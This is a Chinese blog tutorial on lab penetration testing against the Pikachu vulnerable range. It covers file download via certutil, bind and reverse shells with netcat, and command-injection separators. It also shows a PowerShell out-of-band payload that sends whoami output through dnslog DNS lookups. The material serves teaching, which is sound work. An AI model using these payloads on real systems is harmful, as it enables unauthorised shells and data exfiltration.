反弹shell数据不回显带外查询pikaqiu靶场搭建
P1 文件上传下载(解决无图形化和解决数据传输)
解决无图形化:
当我们想下载一个文件时,通常是通过浏览器的一个链接直接访问网站点击下载的,但是在实际的安全测试中,我们获取的权限只是一个执行命令的窗口,无法获取图形化界面,因此,我们就需要命令来实现文件的上传和下载。
比如,当我们想上传一个文件到对方的服务器,我们应该想办法用命令让对方执行下载操作,而不可能直接打开对方的服务器的浏览器去下载,因为我们没有获取这样的权限,只能通过黑窗窗输入命令尝试。
- 先建一个网站,把nc.exe 上传到网站上,上传后访问一下看能否正常下载


- 确认访问网站可下载后,再在棱角社区文件下载模块中根据操作系统选择相应的下载命令

windows下载:
centos下载:
-
文件下载的作用:
解决渗透环境中没有图形化界面权限,但需要把安全脚本工具传到对方的服务器
思路:在自己的服务器上上传安全测试工具脚本或后门脚本,构造下载的IP地址,让对方远程用命令把需要的文件下载到它的服务器上 - 实际应用:反弹shell有编程语言反弹、有自带工具反弹的、有安全工具类反弹的

-
反弹是干啥用的?为什么要进行反弹?反弹的应用场景
假设你在网上找到一个漏洞,这个漏洞需要你去执行命令,执行完之后,需要等待你的输入继续向下执行,就像网站你输入命令执行了,但它不会把界面给到你,相当于你的命令会一直卡在那里。这是反弹命令可以解决的:它可以把对方的界面反弹到你这边,你就可以输入命令继续向下执行了
反弹可以解决数据通讯问题:
比如:你在网站上一直提交提交,就一直有流量过去,但如果你把权限反弹回来以后,就相当于你在本地执行一样 - 正向连接和反向连接
反弹中一个重要的知识点就是正向连接和反向连接,正向:主动找别人;反向:让别人主动找自己;正向连接和反向连接关键是看以谁为基础
假设有一台linux和一台Windows的服务器,以Windows服务器为基准,Windows服务器主动连接linux就是正向连接,Linux主动连接Windows服务器是反向连接
正向连接
以linux为基准,Linux主动连接Windows服务器是正向连接,Windows服务器主动连接linux就是反向连接。
实验:正向实验
linux主动连接Windows服务器
linux->windows
//绑定cmd到本地的5566端口
nc -e cmd -lvvp 5566
//主动连接目标的5566
ncat 8.218.177.129 5566
反向连接
linux控制windows服务器的cmd
linux主动连接windows,
windows服务器需要先下载nc.exe
cmd要回到nc.exe文件所在的目录才能正常执行
cmd要回到nc.exe文件所在的目录才能正常执行
ps:如果使用的是阿里云之类的云服务器,5566访问不通可能是基于不同厂商的网络安全策略导致,需要访问云服务器的后台增加对应的规则。

nc -e cmd -lvvp 5566
绑定cmd到本地端口的5566
服务器执行上述命令后
linux执行以下命令:
nc 8.218.177.219 5566

这样Windows服务器的cmd窗口就反弹到了linux
Windows服务器输入:
命令:nc -l -p 5566 -t -e c:\windows\system32\cmd.exe
命令解释:本地监听 5354 端口,当有连接进入时,将 -e 指定的 c:\windows\system32\cmd.exe ( 就是个shell ) 主动响应 到 连接者。连接者 就可以进入被连接者的 cmd。( 反弹 shell 原理 )
因为我用的Windows和Linux都是阿里云平台的,因此,需要在阿里云服务器的安全组策略中添加5566端口,两个服务器都要添加,否则端口数据会被防火墙拦截导致连接超时
如果是虚拟机的话,需要关闭防火墙 - 反向连接
windows控制linux
//绑定SH到本地的5566端口
nc -e /bin/sh -lvvp 5566
//主动连接目标的5566
nc 172.18.119.236 5566
linux系统一般都有 NC 的,但是 - e 选项一般都默认不编译。NC不使用-e选项反弹shell


- 什么时候用正向连接什么时候用反向连接呢?
打开我的一台Windows虚拟机
在虚拟机时属于内网的
而我们aliyun服务器的Linux是属于外网的
外网找内网的实验
虚拟机开启监听nc -lvvp 5566
linux 连接虚拟机的5566端口
是连不上的
此时,对于linux而言,Linux正向连接Windows是连不上的
就要尝试反向连接
让虚拟机(内网 )主动把cmd给到linux
虚拟机:nc -e cmd linux的IP 5566
这就是正向反向连接的应用价值,什么时候用正向连接,什么时候用反向连接,你要根据网络决定
那么现在,如果是内网(虚拟机)控制linux应该怎么操作呢? - 管道符的使用
利用管道符可以执行多条命令管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)Windows->| & || &&
Linux->; | || & && ``(特有``和;)
例子:
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami`
P2 漏洞靶场搭建-皮卡丘
- 安装phpstudy,打开phpstudy网站目录设置,将目录设置为皮卡丘靶场源码的根目录位置,设置完后重启phpstudy,


- 设置完后重启phpstudy,打开皮卡丘原版里的inc文件夹,里面的config.inc.php文件,将数据库的密码也改为root,保存后重启phpstudy

- 进入浏览器访问靶场的安装页面,即在网站中访问install.php文件,进入后点击安装初始化

显示如下界面表明皮卡丘靶场已经搭建成功,点击“点击这里”连接即可进入靶场
P3 皮卡丘靶场实战&反弹shell/正向连接/反向连接
-
防火墙关闭情况下的反弹shell
第一步:判断操作系统类型


第二部:判断出是Windows操作系统后需要上传nc
01 棱角社区查找下载命令

02 打开皮卡丘靶场下的RCE下的exec “ping”,在右边的框框中输入下载命令点击ping127.0.0.1 |certutil.exe -urlcache -split -f http://8.218.177.129:80/nc.exe nc.exe

03 通过nc进行反弹shell
正向:
皮卡丘将自己的cmd绑定到本地的5566端口,linux主动连接皮卡丘服务器的5566端口
注:8.218.177.129是靶场所在服务器的IP地址
反向:
linux监听5566端口,皮卡丘主动给出自己的cmd给到linux的5566端口linux: nc -lvvp 5566 pikaqiu靶场: 127.0.0.1 | c:\\nc.exe 121.40.222.191 5566 -e cmd 注:121.40.222.191是我的Linux云服务器的外网IP
-
防火墙开启情况下的反弹shell
-
防火墙策略入站规则中阻止5566端口连接

以linux为基准,linux->windows正向连接不成功 ,windows->linux反向连接成功(原因是防火墙策略入站检测严格而出站检测宽松,入站阻止了5566端口连接)
防火墙策略出站规则中阻止5566端口连接,删除入站规则限制,添加出站规则限制后,反向连接不能反弹,正向连接也不能反弹
因为防火墙只允许设置入站规则的端口进行通信
如果在入站规则中添加允许5566端口连接的话,正向反向的连接情况会是怎样的呢?
如果在入站规则中允许5566端口访问的话,出站规则中限制5566端口的话,正向连接可以成功反弹,反向连接不能成功反弹


P4 带外查询
-
什么是带外查询?带外查询有什么用?
-
正常情况下在靶场命令框输入whoami的结果是这样的 ,但是如果没有任何结果输出时怎么办呢?这时就需要用到带外查询了!!!

所谓带外查询就是当输入命令没有正常回显的时候,通过其他方法将命令执行的结果回显出来。
-
带外查询的应用场景
-
我想知道靶场的服务器是什么操作类型,这时候在ping框框中输入whoami,但是没有任何结果显示,那我怎么才能知道结果呢?带外查询,通过带外查询能将whoami的结果带出来,显示出来。
-
通过Windows的powershell理解带外查询
-
01 访问dnslog.cn
02 Windows中的PowerShell
03 dnslog浏览器点击Refresh Record刷新,根据结果“admin”我们知道操作系统是windows

-
pikaqiu靶场带外查询
127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.jazxdx.dnslog.cn';$z=$x+$y;ping $zdnslog结果回显

相关文章:
反弹shell数据不回显带外查询pikaqiu靶场搭建
P1 文件上传下载(解决无图形化和解决数据传输) 解决无图形化: 当我们想下载一个文件时,通常是通过浏览器的一个链接直接访问网站点击下载的,但是在实际的安全测试中,我们获取的权限只是一个执行命令的窗口…...
按键修改阈值功能、报警功能、空气质量功能实现
按键修改阈值功能 要使用按键,首先要定义按键。通过查阅资料,可知按键的引脚如图所示:按键1(S1)通过KEY0与PA0连接,按键2(S2)通过KEY1与PE2连接,按键3(S3&…...
spring重点整理篇--springMVC(嘿嘿,开心哟)
Spring MVC是的基于JavaWeb的MVC框架,是Spring框架中的一个组成部分(WEB模块) MVC设计模式: Controller(控制器) Model(模型) View(视图) 重点来了😄 SpringMVC的工作机制…...
图像融合评估指标Python版
图像融合评估指标Python版 这篇博客利用Python把大部分图像融合指标基于图像融合评估指标复现了,从而方便大家更好的使用Python进行指标计算,以及一些I/O 操作。除了几个特征互信息的指标没有成功复现之外,其他指标均可以通过这篇博客提到的P…...
20230303----重返学习-函数概念-函数组成-函数调用-形参及匿名函数及自调用函数
day-019-nineteen-20230303-函数概念-函数组成-函数调用-形参及匿名函数及自调用函数 变量 变量声明 变量 声明定义(赋值) var num;num 100; 声明与赋值分开var num 100; 声明时就赋值 赋值只能声明一次,可以赋值无数次 变量声明关键词 varconstletclassfunctio…...
Java面试题总结
文章目录前言1、JDK1.8 的新特性有哪些?2、JDK 和 JRE 有什么区别?3、String,StringBuilder,StringBuffer 三者的区别?4、为什么 String 拼接的效率低?5、ArrayList 和 LinkedList 有哪些区别?6…...
深圳大学计软《面向对象的程序设计》实验7 拷贝构造函数与复合类
A. Point&Circle(复合类与构造) 题目描述 类Point是我们写过的一个类,类Circle是一个新的类,Point作为其成员对象,请完成类Circle的成员函数的实现。 在主函数中生成一个圆和若干个点,判断这些点与圆的位置关系,…...
Java的JVM(Java虚拟机)参数配置
JVM原理 (1)jvm是java的核心和基础,在java编译器和os平台之间的虚拟处理器,可在上面执行字节码程序。 (2)java编译器只要面向jvm,生成jvm能理解的字节码文件。java源文件经编译成字节码程序&a…...
leetcode 困难 —— 数据流的中位数(优先队列)
题目: 中位数是有序整数列表中的中间值。如果列表的大小是偶数,则没有中间值,中位数是两个中间值的平均值。 例如 arr [2,3,4] 的中位数是 3 。 例如 arr [2,3] 的中位数是 (2 3) / 2 2.5 。 实现 MedianFinder 类: MedianFinder() 初始化…...
7个常用的原生JS数组方法
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 7个常用的原生JS数组方法一、Array.map()二、Array.filter三、Array.reduce四、Array.forEach五、Array.find六、Array.every七、Array.some总结一、Array.map() 作用&#…...
一、一篇文章打好高数基础-函数
1.连续函数的性质考点分析函数的连续性主要考察函数的奇偶性、有界性、单调性、周期性。例题判断函数的奇偶性的有界区间为() A.(-1,0) B(0,1) C(1,2) D(2,3)2.闭区间上连续函数的性质考点分析闭区间上连续函数的性质主要考察函数的最大最小值定理、零点…...
pipenv的基本使用
一. pipenv 基础 pipenv安装: pip install pipenvpipenv常用命令 pipenv --python 3 # 创建python3虚拟环境 pipenv --venv # 查看创建的虚拟环境 pipenv install 包名 # 安装包 pipenv shell # 切换到虚拟环境中 pip list # 查看当前已经安装的包࿰…...
OpenCV入门(三)快速学会OpenCV2图像处理基础
OpenCV入门(三)快速学会OpenCV2图像处理基础 1.颜色变换cvtColor imgproc的模块名称是由image(图像)和process(处理)两个单词的缩写组合而成的,是重要的图像处理模块,主要包括图像…...
基于PySide6的MySql数据库快照备份与恢复软件
db-camera 软件介绍 db-camera是一款MySql数据库备份(快照保存)与恢复软件。功能上与dump类似,但是提供了相对有好的交互界面,能够有效地管理导出的sql文件。 使用场景 开发阶段、测试阶段,尤其适合单人开发的小项目…...
BI不是报表,千万不要混淆
商业智能BI作为商业世界的新宠儿,在市场上实现了高速增长并获得了各领域企业的口碑赞誉。 很多企业把商业智能BI做成了纯报表,二维表格的数据展现形式,也有一些简单的图表可视化。但是这些简单的商业智能BI可视化报表基本上只服务到了一线的…...
sizeof以及strlen的用法以及注意事项
大家都知道,在c中算字符串长度和所占空间大小事不可避免的,甚至再有的时候,我们在写代码的过程中,就会用到这些数据。比如,下面这道题 struct Test { int Num; char *pcName; short sDate; char cha[2]; short sBa[4];…...
数据结构-链表-单链表(3)
目录 1. 顺序表的缺陷 2. 单链表 2.1 单链表的基本结构与接口函数 2.2 重要接口 创建新节点的函数: 2.2.1 尾插 2.2.2 头插 2.2.3 尾删 2.2.4 头删 2.2.5 查找 2.2.6 插入 2.2.7 删除 2.2.8 从pos后面插入 2.2.9 从pos后面删除 3. 链表的缺陷与优势&…...
【SpringBoot初级篇】JdbcTemplate常用方法
【SpringBoot初级篇】JdbcTemplate常用方法JdbcTemplate 查询JdbcTemplate 插入、更新、删除execute执行任意的SQLNamedParameterJdbcTemplate函数场景说明update(String sql, Nullable Object… args)增,删,改queryForObject(sql, Integer.class)查询返…...
React(三):脚手架、组件化、生命周期、父子组件通信、插槽、Context
React(三)一、脚手架安装和创建1.安装脚手架2.创建脚手架3.看看脚手架目录4.运行脚手架二、脚手架下从0开始写代码三、组件化1.类组件2.函数组件四、React的生命周期1.认识生命周期2.图解生命周期(1)Constructor(2&…...
[教程]使用 Git 克隆指定分支
Git 是我们开发过程中经常使用到的版本管理工具,在平常情况下我们从远程克隆的时候会将整个库克隆下来,这会包括整个版本库的历史提交记录和远程库里的所有分支。但在一些情况下,比如我们并不需要查看历史提交记录而只是希望能够获取到最新的代码&#x…...
使用VSCode开发Django指南
使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架,专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用,其中包含三个使用通用基本模板的页面。在此…...
对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...
Caliper 配置文件解析:config.yaml
Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...
tree 树组件大数据卡顿问题优化
问题背景 项目中有用到树组件用来做文件目录,但是由于这个树组件的节点越来越多,导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多,导致的浏览器卡顿,这里很明显就需要用到虚拟列表的技术&…...
服务器--宝塔命令
一、宝塔面板安装命令 ⚠️ 必须使用 root 用户 或 sudo 权限执行! sudo su - 1. CentOS 系统: yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh2. Ubuntu / Debian 系统…...
安宝特方案丨船舶智造的“AR+AI+作业标准化管理解决方案”(装配)
船舶制造装配管理现状:装配工作依赖人工经验,装配工人凭借长期实践积累的操作技巧完成零部件组装。企业通常制定了装配作业指导书,但在实际执行中,工人对指导书的理解和遵循程度参差不齐。 船舶装配过程中的挑战与需求 挑战 (1…...
在QWebEngineView上实现鼠标、触摸等事件捕获的解决方案
这个问题我看其他博主也写了,要么要会员、要么写的乱七八糟。这里我整理一下,把问题说清楚并且给出代码,拿去用就行,照着葫芦画瓢。 问题 在继承QWebEngineView后,重写mousePressEvent或event函数无法捕获鼠标按下事…...
Java求职者面试指南:计算机基础与源码原理深度解析
Java求职者面试指南:计算机基础与源码原理深度解析 第一轮提问:基础概念问题 1. 请解释什么是进程和线程的区别? 面试官:进程是程序的一次执行过程,是系统进行资源分配和调度的基本单位;而线程是进程中的…...
C++ 设计模式 《小明的奶茶加料风波》
👨🎓 模式名称:装饰器模式(Decorator Pattern) 👦 小明最近上线了校园奶茶配送功能,业务火爆,大家都在加料: 有的同学要加波霸 🟤,有的要加椰果…...
windows系统MySQL安装文档
概览:本文讨论了MySQL的安装、使用过程中涉及的解压、配置、初始化、注册服务、启动、修改密码、登录、退出以及卸载等相关内容,为学习者提供全面的操作指导。关键要点包括: 解压 :下载完成后解压压缩包,得到MySQL 8.…...
